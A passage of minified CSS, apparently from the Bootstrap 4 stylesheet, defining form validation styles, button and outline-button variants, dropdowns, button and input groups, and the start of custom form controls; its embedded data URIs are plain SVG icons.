.custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E");background-repeat:no-repeat;background-position:center right calc(.375em + .1875rem);background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc((1em + .75rem) * 3 / 4 + 1.75rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip{display:block}.form-control-file.is-invalid~.invalid-feedback,.form-control-file.is-invalid~.invalid-tooltip,.was-validated .form-control-file:invalid~.invalid-feedback,.was-validated .form-control-file:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#dc3545}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label::before{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;-ms-flex-negative:0;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-outline-primary{color:#007bff;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;text-decoration:none}.btn-link:hover{color:#0056b3;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline;box-shadow:none}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:1 1 auto;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;border-color:#007bff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#80bdff}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;background-color:#b3d7ff;border-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label::before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";background-color:#fff;border:#adb5bd solid 